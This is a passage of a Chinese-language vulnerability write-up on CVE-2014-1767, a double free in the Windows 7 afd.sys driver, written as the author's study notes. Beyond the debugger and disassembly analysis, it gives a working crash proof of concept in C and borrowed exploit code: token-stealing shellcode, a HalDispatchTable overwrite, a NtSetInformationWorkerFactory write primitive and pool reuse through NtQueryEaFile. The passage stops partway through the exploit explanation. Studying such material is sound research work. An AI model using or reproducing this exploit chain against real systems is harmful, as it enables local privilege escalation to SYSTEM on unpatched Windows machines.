BUILDLAB_STR:  win7sp1_rtm 
 
OSPLATFORM_TYPE:  x86 
 
OSNAME:  Windows 7 
 
FAILURE_ID_HASH:  {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef
 
Followup:     MachineOwner 
---------

可以看到,第二次释放的调用链为:

1
AfdTransmitPackets -> AfdTliGetTpInfo -> AfdReturnTpInfo -> IoFreeMdl

此时我们如果再g一下,就会得到本文一开始一模一样的异常现场。

 

通过上面的调用链可以知道,第二次释放也是通过AfdReturnTpInfo最终触发的IoFreeMdl, 但是本次调用链上多了一个函数调用,即AfdTliGetTpInfo,让我们先看一下本函数的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
PAGE:0002B823 ; struc_TPInfo *__fastcall AfdTliGetTpInfo(unsigned int a1) 
PAGE:0002B823 @AfdTliGetTpInfo@4 proc near            ; CODE XREF: AfdTransmitFile(x,x)+E4↓p 
PAGE:0002B823                                         ; AfdTransmitPackets(x,x)+129↓p 
PAGE:0002B823 
PAGE:0002B823 Entry           = dword ptr -1Ch 
PAGE:0002B823 ms_exc          = CPPEH_RECORD ptr -18h 
PAGE:0002B823 
PAGE:0002B823 ; __unwind { // __SEH_prolog4 
PAGE:0002B823                 push    0Ch 
PAGE:0002B825                 push    offset stru_20998 
PAGE:0002B82A                 call    __SEH_prolog4 
PAGE:0002B82F                 mov     edi, ecx 
PAGE:0002B831                 mov     eax, _AfdGlobalData 
PAGE:0002B836                 add     eax, 178h 
PAGE:0002B83B                 push    eax             ; Lookaside 
PAGE:0002B83C                 call    _ExAllocateFromNPagedLookasideList@4 ; ExAllocateFromNPagedLookasideList(x) 
PAGE:0002B841                 mov     esi, eax 
PAGE:0002B843                 mov     [ebp+Entry], esi 
PAGE:0002B846                 xor     ecx, ecx 
PAGE:0002B848                 cmp     esi, ecx 
PAGE:0002B84A                 jnz     short loc_2B850 
PAGE:0002B84C                 xor     eax, eax 
PAGE:0002B84E                 jmp     short loc_2B8B7 
PAGE:0002B850 ; --------------------------------------------------------------------------- 
PAGE:0002B850 
PAGE:0002B850 loc_2B850:                              ; CODE XREF: AfdTliGetTpInfo(x)+27↑j 
PAGE:0002B850                 mov     [esi+8], ecx 
PAGE:0002B853                 lea     eax, [esi+0Ch
PAGE:0002B856                 mov     [eax], ecx 
PAGE:0002B858                 mov     [esi+10h], eax 
PAGE:0002B85B                 lea     eax, [esi+14h
PAGE:0002B85E                 mov     [eax], ecx 
PAGE:0002B860                 mov     [esi+18h], eax 
PAGE:0002B863                 mov     [esi+34h], ecx 
PAGE:0002B866                 mov     [esi+33h], cl 
PAGE:0002B869                 mov     [esi+24h], ecx 
PAGE:0002B86C                 or      dword ptr [esi+2Ch], 0FFFFFFFFh 
PAGE:0002B870                 mov     [esi+3Ch], ecx 
PAGE:0002B873                 mov     [esi+4], ecx 
PAGE:0002B876                 cmp     edi, _AfdDefaultTpInfoElementCount 
PAGE:0002B87C                 jbe     short loc_2B8B5 
PAGE:0002B87E ;   __try { // __except at loc_2B89F 
PAGE:0002B87E                 mov     [ebp+ms_exc.registration.TryLevel], ecx 
PAGE:0002B881                 push    0C6646641h      ; Tag 
PAGE:0002B886                 imul    edi, 18h 
PAGE:0002B889                 push    edi             ; NumberOfBytes 
PAGE:0002B88A                 push    10h             ; PoolType 
PAGE:0002B88C                 call    ds:__imp__ExAllocatePoolWithQuotaTag@12 ; ExAllocatePoolWithQuotaTag(x,x,x) 
PAGE:0002B892                 mov     [esi+20h], eax 
PAGE:0002B895                 mov     byte ptr [esi+32h], 1 
PAGE:0002B899                 jmp     short loc_2B8AE 
PAGE:0002B89B ; --------------------------------------------------------------------------- 
PAGE:0002B89B 
PAGE:0002B89B loc_2B89B:                              ; DATA XREF: .rdata:stru_20998↑o 
PAGE:0002B89B ;   __except filter // owned by 2B87E 
PAGE:0002B89B                 xor     eax, eax 
PAGE:0002B89D                 inc     eax 
PAGE:0002B89E                 retn 
PAGE:0002B89F ; --------------------------------------------------------------------------- 
PAGE:0002B89F 
PAGE:0002B89F loc_2B89F:                              ; DATA XREF: .rdata:stru_20998↑o 
PAGE:0002B89F ;   __except(loc_2B89B) // owned by 2B87E 
PAGE:0002B89F                 mov     esp, [ebp+ms_exc.old_esp] 
PAGE:0002B8A2                 push    1               ; flag 
PAGE:0002B8A4                 push    [ebp+Entry]     ; Entry 
PAGE:0002B8A7                 call    _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x) 
PAGE:0002B8AC                 xor     esi, esi 
PAGE:0002B8AC ;   } // starts at 2B87E 
PAGE:0002B8AE 
PAGE:0002B8AE loc_2B8AE:                              ; CODE XREF: AfdTliGetTpInfo(x)+76↑j 
PAGE:0002B8AE                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh 
PAGE:0002B8B5 
PAGE:0002B8B5 loc_2B8B5:                              ; CODE XREF: AfdTliGetTpInfo(x)+59↑j 
PAGE:0002B8B5                 mov     eax, esi 
PAGE:0002B8B7 
PAGE:0002B8B7 loc_2B8B7:                              ; CODE XREF: AfdTliGetTpInfo(x)+2B↑j 
PAGE:0002B8B7                 call    __SEH_epilog4 
PAGE:0002B8BC                 retn 
PAGE:0002B8BC ; } // starts at 2B823 
PAGE:0002B8BC @AfdTliGetTpInfo@4 endp

结构上和上次的现场差不多,都包含一个异常处理,通过上面的调用链可知一定是try块中触发了异常才有可能调用到AfdReturnTpInfo, 那我们在0002B88C的call处下断点看一下现场(0x10000为IDA加载afd.sys的基址):

 

图片描述

 

根据ExAllocatePoolWithQuotaTag的定义:

1
2
3
4
5
PVOID ExAllocatePoolWithQuotaTag( 
  [in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType, 
  [in] SIZE_T                                         NumberOfBytes, 
  [in] ULONG                                          Tag 
);

可知,目前正在尝试分配一块4294967280大小的内存(大约3.9Gb),由于被调试机器为32位且未开启PAE, 这种情况下必然会产生异常,因此会执行到0002B8A7处的AfdReturnTpInfo函数。

 

同时,需要注意,在0002B83C处从LookasideList内存处分配了一个struc_TPInfo后,并没有对struc_TPInfo->struc_UnkObj的MdlAddress成员初始化,因为在尝试调用ExAllocatePoolWithQuotaTag初始化该成员域时发生了异常(申请3.9Gb内存),从而执行流程跳转到了异常处理块的AfdReturnTpInfo处,但是AfdReturnTpInfo函数体中是会对struc_TPInfo->struc_UnkObj->MdlAddress执行释放操作的:

 

图片描述

 

那么由于此时分配的struc_TPInfo结构使用的内存是上一次调用AfdTransmitFile异常后,释放(归还)给LookasidList的内存,由于本文一开始分析得到的悬挂指针的问题, 导致二次IoFreeMdl同一块内存。

 

这就是本文一开始终极问题的答案——为什么会DoubleFree。

包袱2

同样埋一个包袱后文会用到。

 

让我们回到第二次释放时的调用现场:

 

图片描述

 

通过对这个现场的回溯,我们可以得到第二次调用时的调用链如下:

 

CVE-2014-1767 -> nt!DeviceIoControl -> afd!AfdTransmitPackets

 

以及调用DeviceIoControl的参数信息:

1
2
3
控制码(Control Code): 0x120c3
输入缓冲区地址:0x1326200
输入缓冲区长度:0x18

DoubleFree产生流程总结

上文中,有个细节没有提到(下面标红部分):

1
2
3
AfdTliGetTpInfo在分配struc_TPInfo结构时,会根据参数决定是否要初始化struc_TPInfo->struc_UnkObj结构。
AfdTransmitFile调用AfdTliGetTpInfo时,会用常数3作为参数进行调用,这导致AfdTliGetTpInfo永远不会在内部初始化struc_TPInfo->struc_UnkObj
AfdTranmitPackets调用AfdTliGetTpInfo时,使用的参数是可控的,并不是常数3,这导致我们可以控制AfdTliGetTpInfo让其在内部初始化struc_TPInfo->struc_UnkObj结构

知道了上述信息后,我们来覆盘一下DoubleFree产生的原因:

1
2
3
4
5
6
7
8
9
10
11
12
AfdTransmitFile调用(第一次DeviceIoControl):
    调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数固定为3,不初始化struc_TPInfo->struc_UnkObj->MdlAddress成员
    调用IoAllocateMdl分配内存地址,赋值给struc_TPInfo->struc_UnkObj->MdlAddress成员
    调用MmProbeAndLockPages尝试锁定struc_TPInfo->struc_UnkObj->MdlAddress,由于地址非法,发生异常
    异常处理函数接管,调用AfdReturnTpInfo函数释放struc_TPInfo,但是未对指针置NULL从而产生悬挂指针
AfdTransmitPackts调用(第二次DeviceIoControl):
    调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数为外部传入,导致需要初始化struc_TPInfo->struc_UnkObj->MdlAddress成员
    AfdTliGetTpInfo中尝试使用ExAllocatePoolWithQuotaTag分配3.9Gb内存,发生异常
    异常处理函数接管,调用AfdReturnTpInfo清理刚分配的struc_TPInfo结构
    由于本次分配的struc_TPInfo结构为AfdTransmitFile调用产生异常后释放(归还)给LookasideList的内存,这块内存包含上次指针的值(悬挂指针)
    调用IoFreeMdl时尝试再次清理悬挂指针指向的内存区域
    BSOD

构造POC

失败的尝试

本小节涉及到上文中提到的两个包袱,通过对栈中数据的分析我们可以写出如下POC代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <windows.h> 
#include <ntdef.h> 
#include <winternl.h> 
#include <stdio.h> 
typedef struct _INPUT_AfdTransmitFile { 
    DWORD field1; 
    DWORD field2; 
    DWORD field3; 
    DWORD field4; 
    DWORD field5; 
    DWORD field6; 
    DWORD field7; 
    DWORD field8; 
    DWORD field9; 
    DWORD field10; 
    DWORD field11; 
    DWORD field12; 
} INPUT_AfdTransmitFile; 
 
typedef struct _INPUT_AfdTransmitPackets { 
    DWORD field1; 
    DWORD field2; 
    DWORD field3; 
    DWORD field4; 
    DWORD field5; 
    DWORD field6; 
} INPUT_AfdTransmitPackets; 
 
int main() 
    DWORD bytesRet; 
 
    INPUT_AfdTransmitFile InputAfdTransmitFile = {0}; 
    memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile)); 
    InputAfdTransmitFile.field7 = 0x13371337
    InputAfdTransmitFile.field8 = 0x15fcd9
    InputAfdTransmitFile.field11 = 1
 
    INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0}; 
    memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets)); 
    InputAfdTransmitPackets.field1 = 1
    InputAfdTransmitPackets.field2 = 0x0aaaaaaa
 
    LPCSTR deviceStr = "\\\\?\\GLOBALROOT\\Device\\Afd"
    HANDLE hDevice = CreateFile( deviceStr, \ 
            GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE, \ 
            FILE_SHARE_READ, \ 
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
 
    DeviceIoControl((HANDLE)hDevice, 0X1207F, (LPVOID)&InputAfdTransmitFile, \ 
            sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL); 
    DeviceIoControl((HANDLE)hDevice, 0X120C3, (LPVOID)&InputAfdTransmitPackets, \ 
            sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL); 
 
    return 0
}

测试发现,并不能触发崩溃,通过上面漏洞的成因, 分别在afd!AfdTransmitFile与afd!AfdTransmitPackets下断点进一步分析,最终发现是在afd!AfdTransmitPackets中如下检查未通过导致的:

1
2
3
4
5
6
7
8
9
10
11
FsContext = (unsigned __int8 *)a2->FileObject->FsContext; 
v56 = FsContext; 
v3 = *(_WORD *)FsContext; 
if ( *(_WORD *)FsContext == 0x1AFD
  v66 = STATUS_INVALID_PARAMETER_12; 
  goto LABEL_148; 
if ( v3 != (__int16)0xAFD2 <--- 这里的检查未通过导致直接调到函数结尾 
  && (v3 != (__int16)0xAFD1 || (*((_DWORD *)FsContext + 2) & 0x200) == 0 && (*((_DWORD *)FsContext + 3) & 0x8000) == 0
  || FsContext[2] != 4 )

通过对内核中0xAFD2常数的追踪, 最终定位到这个常数的位置如下图:

 

图片描述

 

接下来看一下winsock2模块是干啥用的, 了解一个模块的作用, 最快的方法莫过于通过其头文件了, 看一下其导出的函数:

 

图片描述

 

发现一个老熟人, WSAStartup, 所以推测\\?\GLOBALROOT\Device\Afd是和socks函数相关的, 尝试把句柄替换为socks函数产生的句柄成功触发BSOD。

成功构造POC

在知道正确的句柄类型之后, 我们就可以创建正确的设备对象来构造触发BSOD的POC了,下面POC中的端口, 只要是任意开放端口即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <windows.h>   
#include <ntdef.h>   
#include <winternl.h>   
#include <stdio.h>   
 
typedef struct _INPUT_AfdTransmitFile {   
    DWORD field1;   
    DWORD field2;   
    DWORD field3;   
    DWORD field4;   
    DWORD field5;   
    DWORD field6;   
    DWORD field7;   
    DWORD field8;   
    DWORD field9;   
    DWORD field10;   
    DWORD field11;   
    DWORD field12;   
} INPUT_AfdTransmitFile;   
 
typedef struct _INPUT_AfdTransmitPackets {   
    DWORD field1;   
    DWORD field2;   
    DWORD field3;   
    DWORD field4;   
    DWORD field5;   
    DWORD field6;   
} INPUT_AfdTransmitPackets;   
 
int main()   
{   
    DWORD bytesRet;   
 
    INPUT_AfdTransmitFile InputAfdTransmitFile = {0};   
    memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));   
    InputAfdTransmitFile.field7 = 0x13371337;   
    InputAfdTransmitFile.field8 = 0x15fcd9;   
    InputAfdTransmitFile.field11 = 1;   
 
    INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};   
    memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));   
    InputAfdTransmitPackets.field1 = 1;   
    InputAfdTransmitPackets.field2 = 0x0aaaaaaa;   
 
    WSADATA WSAData; 
    SOCKET sock_fd; 
    SOCKADDR_IN sa; 
    WSAStartup(0x2, &WSAData); 
    sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    memset(&sa, 0, sizeof(sa)); 
    sa.sin_port = htons(445); 
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); 
    sa.sin_family = AF_INET; 
    connect(sock_fd, (const struct sockaddr*) & sa, sizeof(sa)); 
 
    DeviceIoControl((HANDLE)sock_fd, 0X1207F, (LPVOID)&InputAfdTransmitFile, \   
            sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);   
    DeviceIoControl((HANDLE)sock_fd, 0X120C3, (LPVOID)&InputAfdTransmitPackets, \   
            sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);   
 
    return 0;   
}

构造Expolit思路

前文中,作者本着自虐的原则,刨根问底式的研究了很多“多余的东西”,但是作为一个Noob,完全自己去构造Expolit实在是过于难为作者了。因此,我们需要参考一下大佬们是如何构造Exploit的,我们需要通过大佬们的构造思路,来学习构造Exploit的技能——这部分技能恰好是我们所不具备的。

 

本文接下来的部分,主要是对《参考1》的理解以及《参考2》的解释,或者也可以理解为读书笔记。

利用思路

通过上文的分析, 可知此漏洞的根本成因是DoubleFree, 如果我们能控制Free之后的这块内存,从而造成Object Manipulate的话,就可以控制任意内存——也就是将DoubleFree问题转换为UAF问题。

获取CPU控制权

首先,我们从最朴素的目的来展开我们的思考。抛开所有问题不谈,漏洞利用最终的目标是什么?当然不是没有蛀牙,而是执行我们的ShellCode——那么我们将会面临两个问题:

1
2
Shellcode如何写入到内核态可以访问的内存中?
如何接管CPU的执行流程,让CPU执行我们内存中的Shellcode?

针对第一个问题, 由于我们的程序已经装载到内存中执行了, 因此当内核运行在我们的Expoit进程空间时, 自然就可以访问到用户态的Shellcode地址,因此在Exploit中Shellcode其实就是个函数的地址而已(参考2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
NTSTATUS __stdcall Shellcode(int a,int b,int c,int d) 
    //获取自己和系统进程的EPROCESS 
    PEPROCESS pCur, pSys; 
    DWORD ObjTable; 
    MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur); 
    MyPsLookupProcessByProcessId(4, &pSys); 
 
    //提权 0xF8为token位置 
    *(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8); 
 
    //绕过清理句柄 
    ObjTable = *(DWORD*)(pCur + 0xF4); 
    *(DWORD*)(ObjTable + 0x30) -= 1
    ObjTable = *(DWORD*)ObjTable; 
    *(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0
 
    //恢复Hook 
    *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation; 
 
    return 0
}

针对第二个问题, 我们知道Windows有很多的系统例程(比如SSDT里面的全都是), 如果我们能替换掉某个例程的地址为我们的Shellcode地址,然后调用这个例程, 那CPU便会去执行我们的Shellcode代码。

 

当然, 此漏洞发现者使用的并不是SSDT里面的例程, 因为这个表里面的函数使用频率太高了,很容易被其他程序调用从而影响我们对漏洞的利用。 这里, 漏洞发现者盯上了漏洞利用届的老熟人、冷门调用的扛霸子:位于HalDispatchTable第二项的HaliQuerySystemInformation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
kd> dd HalDispatchTable L4 
83d363f8  00000004 84033940 8403380e 83ebe793 
kd> dt HAL_DISPATCH 83d363f8 
Wdf01000!HAL_DISPATCH 
   +0x000 Version          : 4 
   +0x004 HalQuerySystemInformation : 0x84033940     long  hal!HaliQuerySystemInformation+0 
   +0x008 HalSetSystemInformation : 0x8403380e     long  hal!HaliSetSystemInformation+0 
   +0x00c HalQueryBusSlots : 0x83ebe793     long  nt!xHalQueryBusSlots+0 
   +0x010 Spare1           : 0 
   +0x014 HalExamineMBR    : 0x83c155c2     void  nt!HalExamineMBR+0 
   +0x018 HalIoReadPartitionTable : 0x83d7ffdf     long  nt!IoReadPartitionTable+0 
   +0x01c HalIoSetPartitionInformation : 0x83ebe095     long  nt!IoSetPartitionInformation+0 
   +0x020 HalIoWritePartitionTable : 0x83ebe340     long  nt!IoWritePartitionTable+0 
   +0x024 HalReferenceHandlerForBus : 0x83cbd3d4     _BUS_HANDLER*  nt!KeQueryHighestNodeNumber+0 
   +0x028 HalReferenceBusHandler : 0x83d23a8f     void  nt!xHalStopLegacyUsbInterrupts+0 
   +0x02c HalDereferenceBusHandler : 0x83d23a8f     void  nt!xHalStopLegacyUsbInterrupts+0 
   +0x030 HalInitPnpDriver : 0x8403376a     long  hal!HaliInitPnpDriver+0 
   +0x034 HalInitPowerManagement : 0x84033f8a     long  hal!HaliInitPowerManagement+0 
   +0x038 HalGetDmaAdapter : 0x8401b92c     _DMA_ADAPTER*  hal!HaliGetDmaAdapter+0 
   +0x03c HalGetInterruptTranslator : 0x84032e6a     long  hal!HaliGetInterruptTranslator+0 
   +0x040 HalStartMirroring : 0x83ebe7c0     long  nt!xHalStartMirroring+0 
   +0x044 HalEndMirroring  : 0x83cde9bf     long  nt!xHalEndMirroring+0 
   +0x048 HalMirrorPhysicalMemory : 0x83cde9d3     long  nt!xHalReadWheaPhysicalMemory+0 
   +0x04c HalEndOfBoot     : 0x84034150     void  hal!HalpEndOfBoot+0 
   +0x050 HalMirrorVerify  : 0x83cde9d3     long  nt!xHalReadWheaPhysicalMemory+0 
   +0x054 HalGetCachedAcpiTable : 0x8401daf6     void*  hal!HalAcpiGetTableDispatch+0 
   +0x058 HalSetPciErrorHandlerCallback : 0x84022a3a     void  hal!HaliSetPciErrorHandlerCallback+0

根据已知资料可知, 当我们调用NtQueryIntervalProfile时, 会导致内核态调用HalQuerySystemInformation函数。

 

所以, 如果我们将HalQuerySystemInformation函数的地址替换为我们Shellcode函数的地址, 然后调用NtQueryIntervalProfile, 我们的Shellcode便会的到执行。

 

那么, 新的问题又出现了:

1
2
如何获取 HalQuerySystemInformation 函数的存储地址?
在获取到1中地址后, 如何向这个地址写入我们Shellcode的地址?

构造读写原语

根据上一节的分析可知 HalQuerySystemInformation 位于 HalDispatchTable+0x004 的位置, 好消息是 HalDispatchTable 在ntoskrnl.exe中是导出的:

 

图片描述

 

获取一个导出的符号地址, 在R3中使用 LoadLibrary + GetProcAddress 的经典组合就可以搞定了, 唯一需要注意的是需要根据ntoskrnl.exe在内核中实际加载的基址重新计算一下导出名称的地址(参考2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed); 
 
Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed); 
if (!NT_SUCCESS(Status)) 
    printf("MyNtQuerySystemInformation Failed %p\n", Status); 
    return 0
 
// Info 中存放 ntoskrnl.exe 即nt模块的基本信息 
DWORD Ntbase = Info->Module[0].Base; // nt模块的加载基址 
 
// Info->Module[0].ImageName 存放nt模块的全路径, 我们需要切出文件名 
HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName); 
if (Mynt == NULL) 
    printf("LoadLibrary Nt Failed\n" ); 
    return 0
 
// 重新计算HalDispatchTable的地址 
MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase; 
if (MyHalDispatchTable == NULL) 
    printf("Get HalDispatchTable Failed %p\n", GetLastError()); 
    return 0
}

OK, 现在我们知道了HalDispatchTable的地址, 我们下一步只需要向 HalDispatchTable+0x004 位置处写入我们Shellcode函数地址就可以了——可是我们如何写呢? 接下来让我们回答上一节的问题:

“在获取到HalDispatchTable中地址后, 如何向这个地址写入我们Shellcode的地址”

写原语

Windows有一个很有意思的设计,为了管理内核对象, Windows提供了很多配套函数, 这些函数都是成组出现的, 其基本形式为: NtCreateXXX/NtQueryInformationXXX/NtSetInformationXXX。这三类函数一般用于创建内核对象或查询/设置该内核对象的信息。

 

如果要尝试构造任意地址写, NtSetInformationXXX系列函数是个不错的选择, 而漏洞发现者选取的内核对象为WorkerFactory, 即“受害”函数是NtSetInformationWorkerFactory, 让我们先来理解一下这个函数(仅列出重要部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
NTSTATUS __stdcall NtSetInformationWorkerFactory(HANDLE Handle, int QueryClassInformation, DWORD *Data, SIZE_T CbData) 
  DWORD *v7; // eax 
  DWORD v10; // edi 
  PVOID WorkerFactoryObject; // [esp+3Ch] [ebp-1Ch] BYREF 
  ………… 
  v5 = 4
  if ( CbData != v5 ) 
    return STATUS_INFO_LENGTH_MISMATCH; 
  ………… 
  if ( QueryClassInformation == 8
  
    ………… 
    v7 = Data; 
  
  ………… 
  v10 = *v7; 
  ………… 
  result = ObReferenceObjectByHandle(Handle, 4u, ExpWorkerFactoryObjectType, AccessMode[0], &WorkerFactoryObject, 0); 
  ………… 
  if ( QueryClassInformation == 8
  
    ………… 
    *(_DWORD *)(*(_DWORD *)(*(_DWORD *)WorkerFactoryObject + 0x10) + 0x1C) = v10; // 写原语构造点 
    ObfDereferenceObject(WorkerFactoryObject); 
    return 0
  
  ………… 
}

从函数的反汇编代码来看, 我们可以将4个字节的数据写到受控地址处, 地址的控制是通过WorkerFactory对象+0x10处的成员值间接计算得出的。 这里的几个要点为:

1
2
3
QueryClassInformation参数需要为8
CbData参数值需要是4
Data参数为需要写入的数据值(HalDispatchTable + 4

所以, Exploit中构造的写原语代码为(参考2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);
BYTE WorkerFactory[0xA0] = { 0 };
…………
PBYTE pObj = WorkerFactory + 0x28// 跳过0x28字节ObjectHeader, 指向WorkerFactory对象的Body
…………
//任意写   把 *arg3 的内容 写入到  *( *(*object+0x10)+0x1C
//*(*object+0x10)+0x1C = MyHalDispatchTable + 4 
//因为 *object 所以没办法在本对象内构造数据  
//所以需要另一个内存来构造数据 
BYTE y[0x14] = { 0 }; 
*(DWORD*)pObj = (DWORD)y; 
PBYTE py = y; 
//现在有一个内存y    *(y + 0x10) + 0x1C = MyHalDispatchTable + 4 
//所以 *(y+0x10) = MyHalDispatchTable + 4 - 0x1C  即可 
*(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C
 
………… 
 
//写shellcode地址到HalDispatchTable + 4 
DWORD scAddr = (DWORD)Shellcode; 
MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);

NtQueryEaFile

通过上面的写原语代码可知,我们是通过构造恶意的WorkerFactory对象实现的。然而WorkerFactory对象是通过NtCreateWorkerFactory创建的,我们得到的仅仅是代表这个对象的一个句柄——换句话说,我们并不能控制这个对象的具体内容, 但是我们构造写原语的确要伪造WorkerFactory对象的一些成员, 如何解决这个问题呢?

 

漏洞发现者提供了另外一个对象:EaFile。我们可以通过NtQueryEaFile达成向内存某一地址处写入我们想要数据的目的, 废话不说, 上反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer
        ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex, 
        BOOLEAN RestartScan) 
  AccessMode[0] = CurrentThread->PreviousMode; 
  if ( !AccessMode[0] ) 
  
    if ( EaList && EaListLength ) 
    
      v46 = 1
      ………… 
      if ( ViVerifierDriverAddedThunkListHead ) 
      
        ………… 
      
      else 
      
        PoolWithTagPriority = ExAllocatePoolWithQuotaTag(NonPagedPool, EaListLength, 0x20206F49u); 
      
      P = PoolWithTagPriority; 
      ……………… 
      memcpy(PoolWithTagPriority, EaList, EaListLength); 
    
    ………… 
    v19 = ObReferenceObjectByHandle(FileHandle, 8u, (POBJECT_TYPE)IoFileObjectType, AccessMode[0], &Object, 0); 
    if ( v19 < 0
    
      if ( v46 ) 
        ExFreePoolWithTag(P, 0); 
      return v19; 
    
}

这里需要强调一点, 由于WorkerFactory对象在第二次调用DeviceIoControl的时候会被释放掉, 因此上面18行处的ExAllocatePoolWithQuotaTag申请内存的调用, 只要传入合适的EaListLength值,就会再次得到被释放的这块内存。那么, EaListLength需要是多少合适呢?答案是WorkerFactory对象所占用的内存大小,所以我们需要知道WorkerFactory对象占多大内存:

1
2
3
4
5
6
7
8
9
10
11
12
kd> g 
Breakpoint 0 hit 
nt!ExAllocatePoolWithTag: 
83d2c005 8bff            mov     edi,edi 
kd> kb 
 # ChildEBP RetAddr      Args to Child               
00 80e34b34 83e34174     00000000 000000a0 ef577054 nt!ExAllocatePoolWithTag 
01 80e34b60 83e68584     0137d001 80e34b88 00000078 nt!ObpAllocateObject+0xe2 
02 80e34b94 83e48060     0137d001 86629a38 00000000 nt!ObCreateObject+0x128 
03 80e34c04 83c4987a     0137d084 10000000 00000000 nt!NtCreateWorkerFactory+0x142 
………………
0b 0024fab0 00000000     013714b0 7ffd5000 00000000 ntdll!_RtlUserThreadStart+0x1b

可以看到WrokerFactory对象的大小为0xA0, 其分配的内存区域的POOL_TYPE为0, 即NonPagedPool。

 

继续进一步分析ExAllocatePoolWithQuotaTag函数调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PVOID __stdcall ExAllocatePoolWithQuotaTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag) 
  v3 = PoolType; 
  ………… 
  if ( (PoolType & 8) != 0
  
    ………… 
    v3 = PoolType & 0xFFFFFFF7
  
  ………… 
  v5 = v3 + 8
  ………… 
  // sizof(WorkFactoryObject) == 0xA0 < 0xFF4 
  if ( NumberOfBytes > 0xFF4 || Process == PsInitialSystemProcess ) 
    v5 = (unsigned __int8)v5 - 8
  else 
    NumberOfBytes += 4
// 貌似POOL_TYPE是8的情况下, 也会在NonPagedPool分配内存
  PoolWithTag = (char *)ExAllocatePoolWithTag((POOL_TYPE)v5, NumberOfBytes, Tag); 
  ………… 
}

发现EaListLength会被+4然后作为分配内存的长度, 因此我们如果想得到同一块内存, 在调用NtQueryEaFile的时候, EaListLength需要是0xA0 - 4, 下面是Exploit的对应代码(参考2):

1
2
3
4
5
6
7
8
9
//创建WorkerFactory对象 
DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0); 
 
// 第二次释放  释放掉的内存是 WorkerFactory Object 
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL); 
 
// 现在把伪造的对象拷贝到释放掉的内存, NtQueryEaFile 内部会再次申请到上面释放掉的内存 
IO_STATUS_BLOCK IoStatus; 
MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);

小节1

上面讲了这么多, 其实就是为了解决两个问题:

1
2
如何获取 HalQuerySystemInformation 函数的存储地址?
在获取到1中地址后, 如何向这个地址写入我们Shellcode的地址?

